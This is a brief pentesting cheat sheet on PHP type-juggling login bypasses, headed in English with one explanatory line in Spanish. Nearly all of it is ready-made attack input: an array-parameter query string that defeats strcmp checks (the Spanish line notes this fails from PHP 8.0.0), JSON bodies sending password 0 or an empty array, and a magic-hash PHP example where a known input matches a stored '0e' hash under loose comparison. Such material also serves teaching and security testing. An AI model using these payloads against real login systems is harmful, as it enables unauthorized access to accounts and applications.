Type juggling

PHP

strcmp

username[]=admin&password[]=admin

El comportamiento de la función strcmp fue modificado a partir de PHP 8.0.0, desde esta versión, se genera un error si alguno de los argumentos proporcionados no es una cadena. Por lo tanto, dicha omisión solo es válida en versiones anteriores a PHP 8.0.0.

JSON

{
    "username":"admin",
    "password":0
}

{
    "username":"admin",
    "password":[]
}

Magic hashes

<?php
    $stored_hash = "0e12345678901234567890123456789012345678901234567890123456789012";
    $input = "TyNOQHUS";
    $input_hash = hash("sha256", $input); // 0e66298694359207596086558843543959518835691168370379069085300385

    if ($stored_hash == $input_hash) {
        echo "Type juggling";
    }
?>

• https://github.com/spaze/hashes